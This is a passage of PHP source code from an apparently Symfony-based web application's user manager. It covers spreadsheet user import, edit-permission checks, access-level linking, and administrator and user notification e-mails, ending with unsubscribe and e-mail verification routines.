$file->getOriginalFileName(), $filePath); $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($filePath . $file->getOriginalFileName()); $rows = $spreadsheet->getActiveSheet()->getRowIterator(2, 1E6); $rowFeedback = array(); $rowCnt = 2; $emptyCnt = 0; foreach ($rows as $row) { $rowData = array(); $cellNo = 0; foreach ($row->getCellIterator() as $cell) { if (strlen($cell) > 0) { $rowData[$cellNo] = $cell->getValue(); } $cellNo++; } //foreach cell // echo count($rowData) . "\r\n"; if (count($rowData) > 0) { $emptyCnt = 0; $rowFeedback[$rowCnt] = 'Success'; $userValues = array('user_type_id' => $userType, 'username' => '', 'first_name_string' => '', 'last_name_string' => ''); if (isset($rowData[$conf['fieldsToColumns']['first_name']]) && strlen($rowData[$conf['fieldsToColumns']['first_name']]) > 0) { $userValues['first_name_string'] = $rowData[$conf['fieldsToColumns']['first_name']]; } if (isset($rowData[$conf['fieldsToColumns']['last_name']]) && strlen($rowData[$conf['fieldsToColumns']['last_name']]) > 0) { $userValues['last_name_string'] = $rowData[$conf['fieldsToColumns']['last_name']]; } if (isset($rowData[$conf['fieldsToColumns']['username']]) && strlen($rowData[$conf['fieldsToColumns']['username']]) > 0) { $userValues['username'] = $rowData[$conf['fieldsToColumns']['username']]; } if (isset($rowData[$conf['fieldsToColumns']['e_mail']]) && strlen($rowData[$conf['fieldsToColumns']['e_mail']]) > 0) { $userValues['e_mail_address_string'] = $rowData[$conf['fieldsToColumns']['e_mail']]; $userValues['e_mail_address_subscribed'] = true; } if (isset($rowData[$conf['fieldsToColumns']['mobile_number']]) && strlen($rowData[$conf['fieldsToColumns']['mobile_number']]) > 0) { $userValues['user_tel_no_mobile'] = array( 'tel_fax_number' => $rowData[$conf['fieldsToColumns']['mobile_number']], 'countries' => null, 'area_code' => '', 'extension' => '', 'opted_in' => true ); } if (!isset($userValues['username']) || strlen($userValues['username']) <= 0) { if (isset($userValues['user_tel_no_mobile'])) { $userValues['username'] = $userValues['user_tel_no_mobile']; } if (isset($userValues['e_mail_address_string'])) { $userValues['username'] = $userValues['e_mail_address_string']; } elseif (isset($userValues['user_tel_no_mobile'])) { $userValues['username'] = $userValues['user_tel_no_mobile']['tel_fax_number']; } elseif (isset($userValues['first_name_string'])) { $userValues['username'] = str_replace(' ', '', strtolower($userValues['first_name_string'])); } } $userList = null; $errorMsg = $this->saveFromRequest($userValues, $userList, $owner); if (!empty($errorMsg) && strpos($errorMsg, 'already in use') <= 0) { $rowFeedback[$rowCnt] = 'Failure: ' . $errorMsg; echo 'Failure: ' . $errorMsg . "\r\n"; } elseif (is_object($company) && is_object($userList)) { $this->getContainer()->get('companies.manager')->linkUser($company, $userList); $this->getContainer()->get('user_contact.manager')->linkUser($owner, $userList, $company); } // $this->getContainer()->get('error_log.manager')->info('Import row data: ' . print_r($rowData, true) . ' - ' . is_object($userList)); if (isset($rowData[$conf['fieldsToColumns']['group']]) && !empty($rowData[$conf['fieldsToColumns']['group']]) && is_object($userList)) { $userGroup = null; // $this->getContainer()->get('error_log.manager')->info('Link user to group: ' . $rowData[$conf['fieldsToColumns']['group']]); // echo $rowData[$conf['fieldsToColumns']['group']] . "\r\n"; $this->getContainer()->get('user_group.manager')->saveFromRequest(array('group_name' => $rowData[$conf['fieldsToColumns']['group']]), $userGroup, $owner); $this->getContainer()->get('user_group.manager')->linkUser($userGroup, $userList, $owner); } // unset($userValues['user_type_id']); // var_dump($userValues); // var_dump($rowData); // echo $userValues['username'] . ' - ' . $userValues['first_name_string'] . ' ' . $userValues['last_name_string'] . "\r\n"; // exit; if (is_object($userList)) { foreach ($fields as $field) { $valueIndex = strtolower(Utils::getIdString($field->getFieldName())); if (isset($conf['fieldsToColumns']['user_field_' . $valueIndex]) && isset($rowData[$conf['fieldsToColumns']['user_field_' . $valueIndex]]) && strlen($rowData[$conf['fieldsToColumns']['user_field_' . $valueIndex]]) > 0) { $userFieldUserManager->saveOne($field, $userList, $rowData[$conf['fieldsToColumns']['user_field_' . $valueIndex]]); } } //foreach field } } $emptyCnt++; $rowCnt++; if ($emptyCnt > 100) { // echo "Too many empty rows \r\n"; break; } } //foreach // echo "Import done \r\n"; $subject = 'Your import is complete'; $message = '<p>Dear ' . $owner->getFullNameString() . '</p>' . '<p>This is the result of the import:</p>' . '<p>'; foreach ($rowFeedback as $rowNum => $messageString) { $message .= 'Row ' . $rowNum . ': ' . $messageString . '<br />'; } $message .= '</p>'; $this->getContainer()->get('contact_message.manager')->sendNotificationMail($owner, $subject, $message); } catch (\Exception $ex) { $message = $ex->getMessage() . ' - ' . $ex->getTraceAsString(); // echo $message . "\r\n"; $this->getContainer()->get('error_log.manager')->error('Error on user import - ' . $message); } } /** * Load user list data * * @param UserList $userList * @return void */ public function loadUser(UserList &$userList) { if (count($userList->getCompanyIds()) <= 0) { $companyIds = array(); $userListIDs = $this->getEm()->getRepository(UserList::class)->getCompanyIds($userList); foreach ($userListIDs as $userListID) { $companyIds[] = $userListID['id']; } // var_dump($companyIds); // echo '<br />'; $userList->setCompanyIds($companyIds); } } /** * Check if owner can edit user * * @param UserList $userList * @param UserList $owner * @return boolean */ public function canEdit(UserList $userList, UserList $owner) { if ($owner->getGranted('ROLE_SUPER_ADMINISTRATOR')) { return true; } if ($userList->getId() == $owner->getId()) { return true; } if ($userList->getCreatedBy() == $owner->getId() || strlen($userList->getId()) <= 0) { return true; } $agentIds = array(); // echo $owner; foreach ($owner->getCompanies() as $company) { $users = $this->findBySearchCompanyForSelect('', $company->getId()); // echo count($users) . '<br />'; foreach ($users as $userName => $userId) { // echo 'checking ' . $userName . '<br />'; if ($userId == $userList->getId()) { return true; } } } // exit; return false; } /** * Check if a user is linked to an access level. * * @param Companies $company * @param UserList $userList */ public function isLinked(UserList &$userList, AccessLevel $accessLevel) { if (!is_iterable($userList->getAccessLevel())) { return false; } foreach ($userList->getAccessLevel() as $testAccessLevel) { if ($testAccessLevel->getId() == $accessLevel->getId()) { return true; } } return false; } /** * Link a user to access level(s) * * @param UserList $userList * @param array $accessLevelIds */ public function linkAccessLevel(UserList &$userList, $accessLevelIds) { $accessLevelManager = $this->getContainer()->get('access_level.manager'); foreach ($accessLevelIds as $accessLevelId) { $accessLevel = $accessLevelManager->find($accessLevelId); if (!$this->isLinked($userList, $accessLevel)) { $userList->addAccessLevel($accessLevel); $this->save($userList); } } } /** * Get user's company * * @param UserList $userList * @return Companies|null */ public function getCompany(UserList $userList) { foreach ($userList->getCompanies() as $company) { return $company; } return null; } /** * Get user's company * * @param UserList $userList * @return Companies|null */ public function getSiteAdmins() { $adminUserType = $this->getContainer()->get('user_types.manager')->find($this->getContainer()->get('system_setting.manager')->getSetting('admin_user_type')); $admins = $this->findBy(array('user_types' => $adminUserType)); $return = array(); foreach ($admins as $admin) { if (is_object($admin->getUserEMailAddress()) && $admin->getUserEMailAddress()->getSubscribed()) { $return[] = $admin; } } //foreach return $return; } /** * Get user's company * * @param UserList $userList * @return Companies|null */ public function getAllFrontendUsers(Companies $company = null) { $admins = $this->findByAccessLevels(array($this->getContainer()->get('access_level.manager')->getWebSiteAccessLevel()), array('company' => $company)); $return = array(); foreach ($admins as $admin) { $return[] = $admin; } //foreach return $return; } /** * Get user's company * * @param UserList $userList * @return Companies|null */ public function getAdmins() { $admins = $this->findByAccessLevels(array($this->getContainer()->get('access_level.manager')->getAdminAccessLevelId())); $return = array(); foreach ($admins as $admin) { if (is_object($admin->getUserEMailAddress()) && $admin->getUserEMailAddress()->getSubscribed()) { $return[] = $admin; } } //foreach return $return; } /** * Send a reset password link * * @param string $email * @return array */ public function notifyAdmins(UserList $userList, $registered = true) { $return = array('success' => false, 'message' => ''); $settingManager = $this->getContainer()->get('system_setting.manager'); $messageManager = $this->getContainer()->get('contact_message.manager'); $recipients = $this->getSiteAdmins(); if (count($recipients) <= 0) { return; } $messageType = $this->em->getRepository(MessageType::class)->find($settingManager->getSetting('contact_message_type_sys_notif')); $contactMethod = $this->em->getRepository(ContactMethod::class)->find($settingManager->getSetting('contact_method_e_mail')); $contactReason = $this->em->getRepository(ContactReason::class)->find($settingManager->getSetting('contact_reason_type_sys_notif')); $twig = $this->getContainer()->get('twig'); $router = $this->getContainer()->get('router'); $bidderRegister = $settingManager->getSetting('auction_bidder_register', 0); $subject = $messageManager->getSystemName() . ' - User registered notification'; $messageHtml = '<p>To whom it may concern</p>' . '<p>User ' . $userList->getUsername() . ' has registered</p>'; $messageText = 'To whom it may concern' . "\r\n\r\n" . 'User ' . $userList->getUsername() . ' has registered' . "\r\n\r\n"; if (!$registered) { $subject = $messageManager->getSystemName() . ' - User updated notification'; $messageHtml = '<p>To whom it may concern</p>' . '<p>User ' . $userList->getUsername() . ' has updated details</p>'; $messageText = 'To whom it may concern' . "\r\n\r\n" . 'User ' . $userList->getUsername() . ' has updated details' . "\r\n\r\n"; } if ($bidderRegister > 0 && strlen($userList->getIdNumber()) > 0) { $messageHtml .= '<p>The user has requested to be registered as a bidder</p>'; $messageText .= 'The user has requested to be registered as a bidder' . "\r\n\r\n"; } $messageHtml .= '<p><a href = "' . $router->generate('users_edit', array('id' => $userList->getId(), 'user_type_id' => $settingManager->getSetting('fe_user_type')), UrlGeneratorInterface::ABSOLUTE_URL) . '">Click here to edit the user\'s profile</a></p>'; $messageText .= 'Follow this URL to the user\'s profile: ' . $router->generate('users_edit', array('id' => $userList->getId(), 'user_type_id' => $settingManager->getSetting('fe_user_type')), UrlGeneratorInterface::ABSOLUTE_URL) . "\r\n\r\n"; //Send Contact us form data $messageHTML = $twig->render( '@ContactBundle/Email/notification.html.twig', array( 'sender' => $userList, 'contactFromName' => $userList->getFullNameString(), 'contactFromEMail' => $userList->getEMailAddressString(), 'messageText' => $messageHtml, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'], ) ); $messageText = $twig->render( '@ContactBundle/Email/notification.txt.twig', array( 'sender' => $userList, 'contactFromName' => $userList->getFullNameString(), 'contactFromEMail' => $userList->getEMailAddressString(), 'messageText' => $messageText, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'], ) ); $messageValues = array( 'subject' => $subject, 'messageHTML' => $messageHTML, 'messageText' => $messageText, 'contactMethod' => $contactMethod, 'contactReason' => $contactReason, 'messageType' => $messageType, ); $messageManager->saveMessage($userList, $recipients, $messageValues); $return['success'] = true; return $return; } /** * Send a reset password link * * @param string $email * @return array */ public function sendAccessLevelNotify(UserList $userList, $message = '') { $return = array('success' => false, 'message' => ''); $settingManager = $this->getContainer()->get('system_setting.manager'); $messageManager = $this->getContainer()->get('contact_message.manager'); $messageType = $this->em->getRepository(MessageType::class)->find($settingManager->getSetting('contact_message_type_sys_notif')); $contactMethod = $this->em->getRepository(ContactMethod::class)->find($settingManager->getSetting('contact_method_e_mail')); $contactReason = $this->em->getRepository(ContactReason::class)->find($settingManager->getSetting('contact_reason_type_sys_notif')); $twig = $this->getContainer()->get('twig'); $sender = $messageManager->getSystemUser(); $subject = 'Your access details have been updated on ' . $messageManager->getSystemName(); $messageHtml = '<p>Dear ' . $userList->getFirstNameString() . '</p>' . '<p>Your access details for user ' . $userList->getUsername() . ' using this e-mail address have been updated by the web site administrators. Please log out and log back in for the changes to take effect.</p>'; $messageText = 'Dear ' . $userList->getFirstNameString() . "\r\n\r\n" . 'Your access details for user ' . $userList->getUsername() . ' using this e-mail address have been updated by the web site administrators. Please log out and log back in for the changes to take effect.' . "\r\n\r\n"; if (strlen($message) > 0) { $messageHtml .= '<p>The following message accompanied the update:</p>' . '<p>' . $message . '</p>'; $messageText .= 'The following message accompanied the update:' . "\r\n\r\n" . $message . "\r\n\r\n"; } //Send Contact us form data $messageHTML = $twig->render( '@ContactBundle/Email/notification.html.twig', array( 'sender' => $sender, 'contactFromName' => $sender->getFullNameString(), 'contactFromEMail' => $sender->getEMailAddressString(), 'messageText' => $messageHtml, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'] ) ); $messageText = $twig->render( '@ContactBundle/Email/notification.txt.twig', array( 'sender' => $sender, 'contactFromName' => $sender->getFullNameString(), 'contactFromEMail' => $sender->getEMailAddressString(), 'messageText' => $messageText, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'] ) ); $messageValues = array( 'subject' => $subject, 'messageHTML' => $messageHTML, 'messageText' => $messageText, 'contactMethod' => $contactMethod, 'contactReason' => $contactReason, 'messageType' => $messageType, ); $messageManager->saveMessage($sender, array($userList), $messageValues); $return['success'] = true; return $return; } /** * Send a reset password link * * @param string $email * @return array */ public function sendRejectDocNotify(UserList $userList) { if (strlen($userList->getIdDocFileId()) > 0) { $this->getContainer()->get('files.manager')->removeById($userList->getIdDocFileId()); $userList->setIdDocFileId(''); } $return = array('success' => false, 'message' => ''); $settingManager = $this->getContainer()->get('system_setting.manager'); $messageManager = $this->getContainer()->get('contact_message.manager'); $messageType = $this->em->getRepository(MessageType::class)->find($settingManager->getSetting('contact_message_type_sys_notif')); $contactMethod = $this->em->getRepository(ContactMethod::class)->find($settingManager->getSetting('contact_method_e_mail')); $contactReason = $this->em->getRepository(ContactReason::class)->find($settingManager->getSetting('contact_reason_type_sys_notif')); $twig = $this->getContainer()->get('twig'); $sender = $messageManager->getSystemUser(); $subject = 'Your ID document has been rejected by ' . $messageManager->getSystemName(); $messageHtml = '<p>Dear ' . $userList->getFirstNameString() . '</p>' . '<p>The ID document you uploaded has been rejected by the web site administrators. Please log in and upload the correct documents on the My Details screen.</p>'; $messageText = 'Dear ' . $userList->getFirstNameString() . "\r\n\r\n" . 'The ID document you uploaded has been rejected by the web site administrators. Please log in and upload the correct documents on the My Details screen.' . "\r\n\r\n"; //Send Contact us form data $messageHTML = $twig->render( '@ContactBundle/Email/notification.html.twig', array( 'sender' => $sender, 'contactFromName' => $sender->getFullNameString(), 'contactFromEMail' => $sender->getEMailAddressString(), 'messageText' => $messageHtml, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'] ) ); $messageText = $twig->render( '@ContactBundle/Email/notification.txt.twig', array( 'sender' => $sender, 'contactFromName' => $sender->getFullNameString(), 'contactFromEMail' => $sender->getEMailAddressString(), 'messageText' => $messageText, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'] ) ); $messageValues = array( 'subject' => $subject, 'messageHTML' => $messageHTML, 'messageText' => $messageText, 'contactMethod' => $contactMethod, 'contactReason' => $contactReason, 'messageType' => $messageType, ); $messageManager->saveMessage($sender, array($userList), $messageValues); $return['success'] = true; return $return; } /** * Unsubsribe user from newsletter * * @param string $unsub * @return string */ public function unsubscribe($unsub) { $OpensslEncryption = new Openssl_EncryptDecrypt(); $userListId = $OpensslEncryption->decrypt($unsub); $userList = $this->find($userListId); if (!is_object($userList)) { return 'Ths user does not exist in our database'; } $eMailAddress = $userList->getUserEMailAddress(); $eMailAddress->setSubscribed(false); $this->getContainer()->get('user_e_mail_address.manager')->save($eMailAddress); $mobile = $userList->getUserTelNoMobile(); $mobile->setOptedIn(false); $this->getContainer()->get('user_tel_no.manager')->save($eMailAddress); } /** * Send an account verify link * * @param UserList $userList * @return null */ public function sendAccountVerifyMail(UserList $userList) { $settingManager = $this->getContainer()->get('system_setting.manager'); $messageManager = $this->getContainer()->get('contact_message.manager'); $messageType = $this->em->getRepository(MessageType::class)->find($settingManager->getSetting('contact_message_type_sys_notif')); $contactMethod = $this->em->getRepository(ContactMethod::class)->find($settingManager->getSetting('contact_method_e_mail')); $contactReason = $this->em->getRepository(ContactReason::class)->find($settingManager->getSetting('contact_reason_type_sys_notif')); $twig = $this->getContainer()->get('twig'); $router = $this->getContainer()->get('router'); $sender = $messageManager->getSystemUser(); $verifyToken = Utils::encryptString('time=' . time() . '&user_list_id=' . $userList->getId()); $resetPasswordUrl = 'http://' . $_SERVER['HTTP_HOST'] . $router->generate( 'login', array('token_verify_e_mail' => $verifyToken) ); $subject = 'Please verify your e-mail address registered on ' . $messageManager->getSystemName(); $messageHtml = '<p>Dear ' . $userList->getFirstNameString() . '</p>' . '<p>Please click here to verify your e-mail address: <a href="' . $resetPasswordUrl . '">' . $userList->getEMailAddressString() . '</a>.</p>'; $messageText = 'Dear ' . $userList->getFirstNameString() . "\r\n\r\n" . 'Please click here to verify your e-mail address, ' . $userList->getEMailAddressString() . ': ' . $resetPasswordUrl . "\r\n\r\n"; //Send Contact us form data $messageHTML = $twig->render( '@ContactBundle/Email/notification.html.twig', array( 'sender' => $sender, 'contactFromName' => $sender->getFullNameString(), 'contactFromEMail' => $sender->getEMailAddressString(), 'messageText' => $messageHtml, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'], ) ); $messageText = $twig->render( '@ContactBundle/Email/notification.txt.twig', array( 'sender' => $sender, 'contactFromName' => $sender->getFullNameString(), 'contactFromEMail' => $sender->getEMailAddressString(), 'messageText' => $messageText, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'], ) ); $messageValues = array( 'subject' => $subject, 'messageHTML' => $messageHTML, 'messageText' => $messageText, 'contactMethod' => $contactMethod, 'contactReason' => $contactReason, 'messageType' => $messageType, ); $messageManager->saveMessage($sender, array($userList), $messageValues); $return['success'] = true; return $return; } /** * Send an account verify link * * @param UserList $userList * @return null */ public function sendWelcomeMail(UserList $userList) { $settingManager = $this->getContainer()->get('system_setting.manager'); $messageManager = $this->getContainer()->get('contact_message.manager'); $messageType = $this->em->getRepository(MessageType::class)->find($settingManager->getSetting('contact_message_type_sys_notif')); $contactMethod = $this->em->getRepository(ContactMethod::class)->find($settingManager->getSetting('contact_method_e_mail')); $contactReason = $this->em->getRepository(ContactReason::class)->find($settingManager->getSetting('contact_reason_type_sys_notif')); $sender = $messageManager->getSystemUser(); $subject = 'Thank you for your registration on ' . $messageManager->getSystemName(); $messageHtml = '<p>Dear ' . $userList->getFirstNameString() . '</p>' . '<p>Thank you for taking the time to register your profile on our web site.</p>' . '<p>Your username is: ' . $userList->getUsername() . '</p>'; $messageText = 'Dear ' . $userList->getFirstNameString() . "\r\n\r\n" . 'Thank you for taking the time to register your profile on our web site.' . "\r\n\r\n" . 'Your username is: ' . $userList->getUsername() . "\r\n\r\n"; $twig = $this->getContainer()->get('twig'); //Send Contact us form data $messageHTML = $twig->render( '@ContactBundle/Email/notification.html.twig', array( 'sender' => $sender, 'contactFromName' => $sender->getFullNameString(), 'contactFromEMail' => $sender->getEMailAddressString(), 'messageText' => $messageHtml, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'], ) ); $messageText = $twig->render( '@ContactBundle/Email/notification.txt.twig', array( 'sender' => $sender, 'contactFromName' => $sender->getFullNameString(), 'contactFromEMail' => $sender->getEMailAddressString(), 'messageText' => $messageText, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'], ) ); $messageValues = array( 'subject' => $subject, 'messageHTML' => $messageHTML, 'messageText' => $messageText, 'contactMethod' => $contactMethod, 'contactReason' => $contactReason, 'messageType' => $messageType, ); $messageManager->saveMessage($sender, array($userList), $messageValues); $return['success'] = true; return $return; } /** * Check a e-mail verification token * * @param string $token * @return UserList */ public function verifyEMail($token) { $OpensslEncryption = new Openssl_EncryptDecrypt(); $valueString = $OpensslEncryption->decrypt($token); $valuesCheck = explode('&', $valueString); $values = array(); foreach ($valuesCheck as $valueCheck) { $oneValue = explode('=', $valueCheck); $values[$oneValue[0]] = $oneValue[1]; } if ($values['time'] + (60 * 60 * 24) <= time()) { //token has expired return false; } $userList = $this->getContainer()->get('user_list.manager')->find($values['user_list_id']); if (is_object($userList)) { $userList->setIsActive(true); $this->save($userList); return true; } return false; } }